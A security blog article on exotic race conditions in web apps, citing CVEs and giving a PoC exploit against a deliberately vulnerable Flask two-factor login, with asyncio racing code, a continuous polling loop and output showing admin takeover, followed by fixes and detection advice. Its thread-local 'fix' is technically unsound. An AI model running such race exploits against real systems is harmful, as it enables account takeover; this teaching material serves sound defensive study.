Race Condition Attacks in Web Applications: Beyond Double-Spend
When security professionals discuss race conditions in web applications, the conversation almost always gravitates toward the same scenario: a gift card redeemed twice, a coupon applied multiple times, or a bank balance drained through concurrent transfers. These are all instances of Time-of-Check to Time-of-Use (TOCTOU) — the classic double-spend. Important, yes, but they represent only a fraction of the race condition attack surface.
Race conditions are far broader and more dangerous than double-spending. They occur whenever a system’s behaviour depends on the timing or order of uncontrollable events, and in modern web infrastructure, those events are everywhere: concurrent HTTP requests, shared singleton objects in application servers, background job queues, protocol-level stream multiplexing, and asynchronous file operations. The vulnerabilities that emerge from these conditions are exotic, difficult to diagnose, and often devastating in impact.
Consider these real-world examples from 2023–2026:
- CVE-2023-44487 — The HTTP/2 Rapid Reset attack. A protocol-level race condition in the HTTP/2 stream state machine enabled the largest DDoS attack ever recorded, peaking at 398 million requests per second. Every major CDN and cloud provider was affected simultaneously.
- CVE-2026-33544 — The Tinyauth OAuth server stored PKCE verifiers and access tokens as mutable fields on a Go singleton struct shared across all concurrent requests. When two users initiated OAuth login simultaneously, one user received a session with the other user’s identity. Full account takeover, no credentials required.
- CVE-2026-34452 — The Anthropic Claude SDK for Python validated file paths against a sandboxed directory, but because the validation and the subsequent file operation ran in an async code path, a symlink could be retargeted between the two operations. The synchronous version was immune. The race condition was only exploitable through asynchronous execution.
- CVE-2024-23652 — Docker BuildKit’s mount stub cleanup logic had a race between creating a mountpoint stub and cleaning it up. A crafted
RUN --mountinstruction could cause the cleaner to traverse outside the container rootfs and delete files on the host. CVSS 10.0 Critical.
These are not your standard “redeem a coupon twice” bugs. They involve protocol state machines, shared mutable state in concurrent runtimes, asynchronous code paths, and build pipeline orchestration. This article explores these exotic race condition patterns and provides a complete, reproducible PoC demonstrating one of the most dangerous variants: identity confusion through shared mutable state in a multi-step authentication flow.
The Race Condition Landscape
Most race condition documentation focuses on TOCTOU (CWE-367). But the taxonomy is far richer:
| Category | Root Cause | Example | CWE |
|---|---|---|---|
| Classic TOCTOU | Non-atomic check-then-act | Coupon redeemed twice | CWE-367 |
| Shared Mutable State | Singleton/global storing per-request data | OAuth identity confusion | CWE-362 |
| Protocol-Level Race | State machine assumes ordered events | HTTP/2 Rapid Reset DDoS | CWE-362 |
| Filesystem TOCTOU | Validation and use on different file paths | Sandbox escape via symlink swap | CWE-367 |
| Async State Desynchronisation | Async gap between validation and operation | AI SDK sandbox escape | CWE-362 |
| CI/CD Pipeline Race | Non-atomic multi-step build process | Container host file deletion | CWE-362 |
Why These Matter More Than Double-Spend
Classic TOCTOU double-spend attacks are well-understood and most mature applications have defences: database transactions, SELECT FOR UPDATE, idempotency keys. But the exotic variants are rarely tested because they require understanding the application’s internal architecture — the runtime’s concurrency model, the protocol’s state machine, or the pipeline’s orchestration logic.
The vulnerable code often looks correct in isolation. A Go struct field that stores an OAuth token. An async function that validates a path and then reads a file. An HTTP/2 server that processes streams concurrently. Each piece is fine on its own. The vulnerability emerges from the interaction between concurrent executions.
Real-World Exotic Vulnerabilities
| CVE | Product | Category | Impact |
|---|---|---|---|
| CVE-2023-44487 | HTTP/2 (all servers) | Protocol-level race | Largest DDoS ever recorded (398M rps) |
| CVE-2023-38545 | curl / libcurl | Protocol-level race | Heap overflow → RCE |
| CVE-2026-33544 | Tinyauth | Shared mutable state | Account takeover (identity swap) |
| CVE-2026-34452 | Claude SDK (Python) | Async filesystem TOCTOU | Sandbox escape |
| CVE-2024-23652 | Docker BuildKit | CI/CD pipeline race | Host file deletion (CVSS 10.0) |
| CVE-2026-34368 | AVideo Platform | Classic TOCTOU (crypto) | Wallet double-spend |
| CVE-2026-33028 | nginx-ui | Shared mutable state | Config corruption → DoS/RCE |
| CVE-2026-30332 | Balena Etcher | Filesystem TOCTOU | Privilege escalation to SYSTEM |
Deep Dive: HTTP/2 Rapid Reset (CVE-2023-44487)
The HTTP/2 Rapid Reset attack, disclosed in October 2023, is a textbook example of a protocol-level race condition. It does not exploit application code at all — it exploits a timing assumption in the HTTP/2 specification itself.
How HTTP/2 Streams Work
HTTP/2 multiplexes multiple request/response pairs (called streams) over a single TCP connection. Each stream has a lifecycle: the client sends HEADERS, the server allocates resources, data flows in both directions, and the stream closes with END_STREAM.
The server allocates resources (memory, CPU, backend connections) for each stream when the HEADERS frame arrives, and releases them when the stream closes.
The Race Condition
The HTTP/2 specification allows a client to send a RST_STREAM frame at any time to cancel a stream. The attack exploits the timing gap between resource allocation (when the server receives HEADERS) and resource release (when the server processes RST_STREAM):
The race condition is between the server’s asynchronous request processing and the client’s immediate cancellation. The server assumes that a stream will complete normally and invests resources accordingly. The client exploits the time gap to create and destroy streams faster than the server can reclaim resources.
Impact
Exploited in the wild from August to October 2023. Every major infrastructure provider was hit:
- Cloudflare: Peak of 201 million requests per second — 3x larger than their previous record
- Google: Their services received 398 million requests per second — the largest DDoS attack ever recorded
- AWS: Significant impact across multiple services
The fix required changes at the protocol level: rate-limiting RST_STREAM frames per connection, capping the total number of concurrent streams, and implementing request counting windows.
Attention! This vulnerability was not in any specific application’s code. It was in the HTTP/2 protocol itself. Every HTTP/2 server — nginx, Apache, Envoy, Cloudflare’s own stack — was vulnerable by design.
Deep Dive: Identity Confusion in OAuth Servers (CVE-2026-33544)
The Tinyauth CVE-2026-33544 is a perfect example of shared mutable state causing identity confusion. It is a fundamentally different bug from TOCTOU — there is no “check-then-act” window. Instead, the application’s architecture stores per-request data in a shared location.
The Vulnerable Pattern
Tinyauth’s OAuth service implementations (for GitHub, Google, and generic OAuth) were Go structs with fields for PKCE verifiers and access tokens:
type GenericOAuthService struct {
codeVerifier string // Shared across ALL concurrent requests!
accessToken string // Shared across ALL concurrent requests!
// ... other fields ...
}
func (s *GenericOAuthService) VerifyCode(code string) (*oauth2.Token, error) {
token, err := s.oauthConfig.Exchange(
context.Background(),
code,
oauth2.SetAuthURLParam("code_verifier", s.codeVerifier),
)
s.accessToken = token.AccessToken // Writes to shared state
return token, err
}
func (s *GenericOAuthService) Userinfo() (*User, error) {
req, _ := http.NewRequest("GET", s.userinfoURL, nil)
req.Header.Set("Authorization", "Bearer "+s.accessToken) // Reads from shared state
}
When two users log in concurrently through the same OAuth provider:
User A is now logged in as User B. Full account takeover. No credentials for User B required.
Why This Is Different From TOCTOU
In a classic TOCTOU, the race window is between a database read and a database write. Here, the race window is between two writes to an in-memory variable. There is no database involved. No SQL transaction can save you. The fix requires a fundamental architectural change: storing per-request state in request-scoped contexts rather than in singleton struct fields.
This pattern is endemic in Go web services. Go’s HTTP handler signature is func(w http.ResponseWriter, r *http.Request), and it is tempting to store state on the struct that holds the handler method. But a single struct instance serves all concurrent requests. The correct pattern is to use context.Context values or goroutine-local storage.
Step-by-Step PoC: Identity Confusion via Shared Mutable State
To demonstrate this class of vulnerability, we will build HBAuth — a deliberately vulnerable Flask application that implements a two-step authentication flow. The vulnerability is identical in nature to CVE-2026-33544: per-request state stored in a module-level global variable, shared across all concurrent requests.
The full source code for the vulnerable application, the exploit, and the patched version is available at:
https://github.com/Hunt-Benito/race-condition-attacks
Architecture
The race window exists because:
1. The 2FA code is validated against the session (correct per-user state)
2. But the authenticated identity is set from the global pending_user_id (shared across all requests)
3. If another user completes step 1 during the processing delay, the global is overwritten
4. The original user’s session is created with the wrong identity
Prerequisites
- Python 3.10+ with
pip - pyotp library (for TOTP 2FA generation)
- A terminal (Linux/macOS recommended)
Step 1: Clone the repository and install dependencies
$ git clone https://github.com/Hunt-Benito/race-condition-attacks.git
$ cd race-condition-attacks
$ pip install -r requirements.txt
Step 2: Examine the vulnerable code
The vulnerable application is at hbauth/hbauth.py. The key vulnerability is in how state flows between the two authentication steps. Here is the critical section:
pending_user_id = None # Module-level global — shared across ALL requests!
@app.route("/auth/step1", methods=["POST"])
def auth_step1():
global pending_user_id
# ... password validation ...
session["step1_user_id"] = user["id"] # Stored in session (per-user)
session["step1_complete"] = True
pending_user_id = user["id"] # Also stored in GLOBAL (shared!)
return jsonify({"status": "pending_2fa", ...})
@app.route("/auth/step2", methods=["POST"])
def auth_step2():
global pending_user_id
# ... 2FA validation uses session (correct) ...
if not verify_totp(step1_user_id, data["code"]): # Reads from session ✓
return jsonify({"error": "Invalid 2FA code"}), 401
time.sleep(0.1) # Simulates processing latency
authenticated_user = get_user_by_id(pending_user_id) # Reads from GLOBAL ✗
session["user_id"] = authenticated_user["id"] # Sets WRONG identity!
The contradiction: step 2 validates the 2FA code against the session (per-user, correct), but sets the authenticated identity from the global (shared, overwritable). This is exactly the pattern from CVE-2026-33544.
Step 3: Run the vulnerable application
$ cd hbauth
$ python hbauth.py
* Serving Flask app 'hbauth'
* Running on http://0.0.0.0:5000
Verify the application is running:
$ curl http://localhost:5000/users
[
{"id": 1, "username": "alice", "role": "admin"},
{"id": 2, "username": "bob", "role": "user"},
{"id": 3, "username": "mallory", "role": "user"}
]
The initial state:
- Alice — admin role, full system access
- Bob — regular user
- Mallory — regular user (the attacker)
Step 4: Normal (non-raced) login
Let us verify that the application works correctly under normal conditions. Mallory logs in:
$ curl -s -c /tmp/mallory_cookies -X POST http://localhost:5000/auth/step1 \
-H 'Content-Type: application/json' \
-d '{"username": "mallory", "password": "mallory_pass"}' | python -m json.tool
{
"status": "pending_2fa",
"user_id": 3,
"username": "mallory",
"message": "Submit 2FA code to /auth/step2"
}
Generate a TOTP code for Mallory:
$ python -c "import pyotp; print(pyotp.TOTP('GXQT2NPELFLHOFLQ').now())"
482917
Complete the login:
$ curl -s -b /tmp/mallory_cookies -c /tmp/mallory_cookies \
-X POST http://localhost:5000/auth/step2 \
-H 'Content-Type: application/json' \
-d '{"code": "482917"}' | python -m json.tool
{
"message": "Authentication successful",
"user": {"id": 3, "username": "mallory", "role": "user"}
}
Mallory is correctly authenticated as a regular user. The admin dashboard is forbidden:
$ curl -s -b /tmp/mallory_cookies http://localhost:5000/admin/dashboard
{"error": "Forbidden — admin role required"}
Everything works as expected. Now reset the state:
$ curl -s -X POST http://localhost:5000/reset
{"message": "State reset"}
Step 5: The exploit — Identity confusion via race condition
Now we exploit the shared mutable state. The attack requires precise timing:
- Mallory completes step 1 →
pending_user_id = 3(mallory) - Mallory submits a valid 2FA code → sleep begins (100ms)
- During the sleep, a second request hits step 1 for Alice →
pending_user_id = 1(alice) - Mallory’s step 2 completes → session created for
pending_user_id= 1 (alice!) - Mallory is now authenticated as Alice (admin)
The exploit script uses Python’s asyncio and aiohttp for precise concurrent request timing. The full script is at exploit/exploit_identity_confusion.py in the repository. Here is the key racing logic:
async def attacker_step2():
await asyncio.sleep(0.02) # Wait for step 1 to settle
async with attacker.post(
f"{BASE_URL}/auth/step2",
json={"code": attacker_totp}, # Mallory's own valid 2FA code
) as resp:
return await resp.json()
async def trigger_alice_step1():
await asyncio.sleep(0.05) # Fire during Mallory's 100ms sleep window
async with trigger.post(
f"{BASE_URL}/auth/step1",
json={"username": "alice", "password": "alice_pass"}, # Overwrites global!
) as resp:
return await resp.json()
step2_result, trigger_result = await asyncio.gather(
attacker_step2(),
trigger_alice_step1(), # Both fire concurrently
)
Run the exploit:
$ cd exploit
$ python exploit_identity_confusion.py
[*] Attacker TOTP code: 482917
[*] Step 1: Attacker authenticates with step 1
Attacker step 1: {'status': 'pending_2fa', 'user_id': 3, 'username': 'mallory',
'message': 'Submit 2FA code to /auth/step2'}
[*] Step 2: Launching concurrent attack...
- Mallory submits step 2 (enters 100ms sleep)
- During sleep, Alice's step 1 overwrites pending_user_id
Attacker step 2 result: {'message': 'Authentication successful',
'user': {'id': 1, 'username': 'alice', 'role': 'admin'}}
Alice step 1 trigger: {'status': 'pending_2fa', 'user_id': 1, 'username': 'alice',
'message': 'Submit 2FA code to /auth/step2'}
[*] Step 3: Checking attacker's session identity
Attacker's profile: {'id': 1, 'username': 'alice', 'role': 'admin'}
============================================================
IDENTITY CONFUSION EXPLOIT RESULTS
============================================================
Expected identity: mallory (user)
Actual identity: alice (admin)
[!!!] RACE CONDITION CONFIRMED!
Attacker is now authenticated as: alice (admin)
============================================================
[*] Step 4: Accessing admin dashboard with stolen identity
Admin dashboard: {'message': 'Welcome to the admin dashboard',
'admin_user': 'alice',
'secrets': ['DATABASE_URL=postgresql://prod-db:5432/main',
'AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCY',
'STRIPE_API_KEY=sk_live_4eC39HqLyjWDarjtT1zdp7dc']}
[!!!] Attacker has full admin access, including secrets!
Mallory started with her own credentials, provided her own 2FA code, and ended up authenticated as Alice — the admin. She never needed Alice’s password or 2FA code. The only requirement was that Alice (or any other user) initiated a login during the 100ms processing window.
How the Timing Works
The critical sequence:
1. T=0ms: Mallory’s step 2 starts — 2FA is validated against step1_user_id=3 (correct, from session)
2. T=0–10ms: 2FA passes, sleep(0.1) begins
3. T=50ms: Alice’s step 1 executes — pending_user_id = 1 (overwrites!)
4. T=100ms: Mallory’s sleep ends — reads pending_user_id = 1 (Alice)
5. T=120ms: Mallory’s session is created with Alice’s identity
The 2FA check at T=0 uses the session (correct), but the session creation at T=120ms uses the global (overwritten). This is the core of the vulnerability.
Exploitation in the Wild
In a real-world scenario, the attacker does not control the victim’s login timing. The attack requires social engineering, timing observation, or continuous polling:
Automating the Attack with Continuous Polling
For targets where the attacker cannot predict login timing, they can run the exploit in a loop. The key is to continuously submit step 2 while waiting for any legitimate user to hit step 1 during the sleep window:
async def continuous_exploit():
print("[*] Starting continuous exploitation loop...")
for i in range(1000):
result = await attempt_exploit(i)
if result:
user = result.get("user", {})
if user.get("role") == "admin":
print(f"\n[!!!] ADMIN ACCESS OBTAINED on attempt {i}!")
print(f" Identity: {user.get('username')} ({user.get('role')})")
return result
await asyncio.sleep(1)
The full continuous exploit script is available at the GitHub repository.
Caveat: In a real attack against a production system, the attacker cannot trigger the victim’s step 1 with valid credentials. Instead they would either:
1. Have a separate channel to trigger the victim’s login (phishing, push notification bombing)
2. Monitor for legitimate logins and race them
3. Use valid low-privilege credentials for a second account to create the race
Remeditation
Fix 1: Eliminate Shared Mutable State (Recommended)
The root cause is using a module-level global for per-request state. The fix is to store the authenticating user’s identity in the session, not in a global. The patched version is at hbauth-patched/hbauth_patched.py in the repository. Here is the diff:
# VULNERABLE: step 1 writes to global
@app.route("/auth/step1", methods=["POST"])
def auth_step1():
global pending_user_id
# ...
session["step1_user_id"] = user["id"]
pending_user_id = user["id"] # ← Global! Shared across requests!
# PATCHED: step 1 only writes to session
@app.route("/auth/step1", methods=["POST"])
def auth_step1():
# No global declaration — no shared state
session["step1_user_id"] = user["id"] # ← Session only! Per-user!
session["step1_complete"] = True
And in step 2, the identity is read from the session instead of the global:
# VULNERABLE: step 2 reads from global
authenticated_user = get_user_by_id(pending_user_id) # ← Reads global!
# PATCHED: step 2 reads from session
user_id = session.get("step1_user_id") # ← Reads session!
authenticated_user = get_user_by_id(user_id)
Why this works: The user_id is read from the session (per-user, signed cookie) instead of from a global. Each user’s step 2 reads their own step1_user_id, which cannot be overwritten by another user’s concurrent request. The global pending_user_id is removed entirely.
Fix 2: Request-Scoped Context (for Go / Java)
In Go, the equivalent fix is using context.Context to pass per-request state:
func (s *OAuthService) HandleCallback(w http.ResponseWriter, r *http.Request) {
ctx := r.Context()
codeVerifier := ctx.Value("codeVerifier").(string)
token, err := s.oauthConfig.Exchange(
ctx, code,
oauth2.SetAuthURLParam("code_verifier", codeVerifier),
)
if err != nil {
http.Error(w, "Token exchange failed", 500)
return
}
client := s.oauthConfig.Client(ctx, token)
resp, err := client.Get(s.userinfoURL)
}
In Java (Spring), use @RequestScope beans:
@RequestScope
@Component
public class OAuthState {
private String codeVerifier;
private String accessToken;
}
Fix 3: Thread-Local Storage (Python)
If global state is unavoidable (e.g. legacy code), use Python’s threading.local():
import threading
_thread_local = threading.local()
@app.route("/auth/step1", methods=["POST"])
def auth_step1():
user = authenticate(request.json)
_thread_local.pending_user_id = user["id"] # Per-thread, not global
@app.route("/auth/step2", methods=["POST"])
def auth_step2():
user_id = _thread_local.pending_user_id # Per-thread copy
Remediation Summary
| Strategy | Scope | Best For | Performance |
|---|---|---|---|
| Session-scoped state | Per-user | Multi-step flows (auth, checkout) | Excellent |
| Request context | Per-request | Go/Java services | Excellent |
| Thread-local storage | Per-thread | Legacy Python codebases | Good |
| Database-backed state | Persistent | Distributed systems | Moderate |
| Distributed lock (Redis) | Cross-server | Microservices | Overhead |
Testing Remediation
Verify the fix works by running the exploit against the patched application:
$ cd hbauth-patched
$ python hbauth_patched.py
Then run the exploit:
$ python exploit_identity_confusion.py
============================================================
IDENTITY CONFUSION EXPLOIT RESULTS
============================================================
Expected identity: mallory (user)
Actual identity: mallory (user)
[-] Race condition did not trigger.
Identity correctly matches the authenticated user.
============================================================
Mallory is correctly authenticated as herself. The fix works. Even though Alice’s concurrent login fires, it no longer overwrites any shared state — the user identity comes from the session, not from a global.
Detection: Identifying Shared Mutable State Vulnerabilities
This class of vulnerability is difficult to detect with standard automated scanners. Look for these indicators:
| Indicator | What to Look For |
|---|---|
| Module-level variables in web handlers | pending_x = None, current_y = {} at the top of a Flask/Django view module |
| Singleton services with mutable fields | Go struct fields set during request handling; Spring singleton beans with @Component (default scope) instead of @RequestScope |
| Multi-step flows | Any flow where step N reads state set by step N-1 (auth, checkout, registration) |
| Concurrent user testing | Log in as two users simultaneously — if one user sees the other’s data, you have identity confusion |
| Source code patterns | global keyword in Python, struct field assignment in Go handlers, static fields in Java servlets |
Testing Methodology
Beyond the PoC: Other Exotic Patterns
Async vs Sync Code Paths (CVE-2026-34452)
The Anthropic Claude SDK vulnerability is particularly instructive because it demonstrates that async code can introduce race conditions that sync code does not have. The vulnerable pattern:
async def write_file(path, content):
real_path = os.path.realpath(path)
if not real_path.startswith(SANDBOX_DIR):
raise PermissionError("Path outside sandbox")
await asyncio.sleep(0) # ← Yields control to event loop!
with open(path, 'w') as f: # ← Another coroutine can swap the symlink!
f.write(content)
The await asyncio.sleep(0) yields control to the event loop. Between realpath() and open(), another coroutine can execute and change the symlink target. The sync version of the same code has no await point, so no other code runs between validation and use.
This is a growing concern as more Python applications adopt asyncio, more Go services use goroutines, and more Rust code uses async/await. The async programming model inherently introduces scheduling points where race conditions can occur.
CI/CD Pipeline Races (CVE-2024-23652)
Docker BuildKit’s vulnerability shows that race conditions exist beyond web requests — they exist in build pipelines. The pattern:
1. BuildKit creates mountpoint stub file
2. BuildKit runs the RUN command (mount active)
3. BuildKit removes the stub after the RUN completes
└─ Race: crafted mount path causes removal to traverse outside container
In CI/CD contexts, any non-atomic multi-step process is potentially vulnerable:
- Artifact signing: If signing state is stored in a shared location between build steps
- Image tagging: If concurrent builds can overwrite tags
- Secret injection: If build secrets are stored in a shared temporary location
Protocol-Level Races (CVE-2023-38545)
The curl SOCKS5 vulnerability (CVE-2023-38545) is a protocol-level race that produced a heap buffer overflow:
1. curl resolves hostname → too long for SOCKS5 remote resolution
2. curl switches to local resolution
3. curl starts SOCKS5 handshake (slow)
4. During handshake, a race condition causes the hostname
(instead of the resolved IP) to be copied into a fixed-size buffer
5. Heap buffer overflow → potential RCE
This is not a web application vulnerability per se, but it demonstrates that race conditions exist at every layer of the stack — from the HTTP protocol down to the transport layer.
Ethical Considerations and Responsible Use
The techniques described in this article are standard tools for security researchers and penetration testers. However:
- Only test applications you own or have explicit written permission to test.
- Race condition testing involving authentication flows can disrupt other users. Always test in a staging environment with test accounts.
- Identity confusion vulnerabilities have severe impact — report them through the organisation’s responsible disclosure process or bug bounty programme.
- Many bug bounty programmes (HackerOne, Bugcrowd, etc.) explicitly list authentication race conditions as in-scope and well-rewarded.
SOURCES
CWE-362 — Concurrent Execution using Shared Resource with Improper Synchronization: https://cwe.mitre.org/data/definitions/362.html
CWE-367 — Time-of-Check Time-of-Use (TOCTOU) Race Condition: https://cwe.mitre.org/data/definitions/367.html
CVE-2023-44487 — HTTP/2 Rapid Reset Attack: https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack
CVE-2023-38545 — curl SOCKS5 Heap Buffer Overflow: https://curl.se/docs/CVE-2023-38545.html
CVE-2024-23652 — BuildKit Container Mount Stub File Deletion: https://github.com/moby/buildkit/security/advisories/GHSA-4v98-7qmw-rqr8
CVE-2026-33544 — Tinyauth OAuth Account Confusion: https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-9q5m-jfc4-wc92
CVE-2026-34452 — Claude SDK for Python Sandbox Escape: https://github.com/anthropics/anthropic-sdk-python/security/advisories/GHSA-w828-4qhx-vxx3
CVE-2026-34368 — AVideo Wallet Balance Double-Spend: https://nvd.nist.gov/vuln/detail/CVE-2026-34368
CVE-2026-33028 — Nginx UI Persistent Data Corruption: https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-m468-xcm6-fxg4
CVE-2026-30332 — Balena Etcher TOCTOU Privilege Escalation: https://github.com/B1tBreaker/CVE-2026-30332
OWASP Testing Guide — Concurrency Testing: https://owasp.org/www-project-web-security-testing-guide/
Flask Session Documentation: https://flask.palletsprojects.com/en/stable/api/#sessions
Go Context Package: https://pkg.go.dev/context
Python threading.local Documentation: https://docs.python.org/3/library/threading.html#thread-local-data
HTTP/2 RFC 7540 — Hypertext Transfer Protocol Version 2: https://datatracker.ietf.org/doc/html/rfc7540
Cloudflare — HTTP/2 Rapid Reset Attack Analysis: https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
Google — How the HTTP/2 Rapid Reset Attack Works: https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack